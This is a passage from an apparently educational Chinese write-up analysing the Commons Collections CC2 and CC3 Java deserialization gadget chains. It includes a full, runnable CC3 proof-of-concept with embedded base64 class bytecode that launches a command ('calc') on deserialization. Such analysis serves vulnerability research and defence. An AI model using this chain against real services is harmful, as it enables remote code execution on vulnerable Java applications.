((Comparable<? super T>) c).compareTo((T) es[right]) > 0)
c = es[child = right];
if (key.compareTo((T) c) <= 0)
break;
es[k] = c;
k = child;
}
es[k] = key;
}
他的内部会生成一个Compare比较器,并且调用CompareTo方法。
再看一下siftDownComparator
private static <T> void siftDownUsingComparator(
int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
// assert n > 0;
int half = n >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = es[child];
int right = child + 1;
if (right < n && cmp.compare((T) c, (T) es[right]) > 0)
c = es[child = right];
if (cmp.compare(x, (T) c) <= 0)
break;
es[k] = c;
k = child;
}
es[k] = x;
}
它调用了了comparator属性的Comparator比较器的compare方法
如果comparator属性指定为TransformingComparator比较器的话,就可以调用TransformingComparator的compare方法了
于是我们可以通过反射,将PriorityQueue
队列中的comparetor
属性设置为TranmsformingComparator
的比较器。
并且将compare方法的参数设置为TemplatesImpl对象,然后transform方法就会调用TemplatesImpl对象的newTransformer方法,这一步会衔接之前构造的利用链,最终形成完整的CC2链。
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
来概括一下简单的流程
PriorityQueue承载TemplatesImpl,
TemplatesImpl的_bytecodes装载StubTransletPayload字节码
通过javassist修改StubTransletPayload字节码插入命令执行,
PriorityQueue的排序使用比较器TransformingComparator,
比较器触发InvokerTransformer的transform,
transform最终触发StubTransletPayload实例化,进而造成命令执行。
思考
- 为什么需要向
quque
中添加至少两个元素? - PriorityQueue队列中queue的属性被translent关键字修饰具有不会序列化的语义,在反序列化的过程中,为什么还能从中读取queue的数据。
- 流中的数据从何而来?
PriorityQueue#add() 方法会对 PriorityQueue的成员变量size进行加1处理。
而PriorityQueue在反序列化的过程中(readObject()->heapify()->siftDown()) 会对这个成员变量size的值进行判断。如果前面没有先两次add(1), 那么size的值就是0,反序列化的时候不会触发利用链
transient:将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化。
参考链接:https://baijiahao.baidu.com/s?id=1636557218432721275&wfr=spider&for=pc
通过分析PriorityQueue类的writeObject方法,发现对queue属性里的内容进行了序列化
java序列化机制不允许被transient关键字修饰的成员属性参与序列化,那为啥还是能调用writeObject方法进行序列化?
这句话有一个前提,如果采用默认的方式进行序列化,(实现Serializable接口,但不重写writeObject方法和readObject方法),transient关键字修饰的成员属性确实不会参加改序列化,并且成员属性的内容也不会序列化。但是重写了writeObject
的方法,就可以实现自定义序列化,调用writeObject
方法并且传入queue
属性的,这样的话,queue
中的内容仍然会参加序列化。
CC3
漏洞环境
jdk1.7
Apache-commons collections 3.0
CC3链在JDK8u71以上版本无法使用,和CC链1的使用限制是一样的。
CC链3,ysoserial给的gadget是这样的
/* * Variation on CommonsCollections1 that uses InstantiateTransformer instead of * InvokerTransformer. */
描述中是利用Instantiate
去代替Transformer
payload如下
package com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC3Test1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//构造核心利用代码
byte[] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "TestTemplatesImpl");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
//构造利用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//触发利用链
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(java.lang.annotation.Target.class,transformedMap);
序列化与反序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
CC链3的分析,构造核心利用代码是和CC链2一样的额,触发利用链和CC链1一样。
//构造利用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
我们已经通过CC链1知道了ConstantTransformer
类实现了Transformer
接口,不过InstantiableTransformer
类也实现了Transformer
的接口。
于是我们可以构造ChainedTransformer
来实现数组的传递
这里ConstantTransformer
的transform
方法返回TrAXFilter的class
对象。
然后,我们去跟进一下InstantiableTransformer
的Transformer
的方法
他首先判断输入object对象是否是class对象,否则就抛出异常并返回,然后根据iparamTypes
和iArgs
获取对象给的构造器并且实例化,然后通过调用readObject
方法。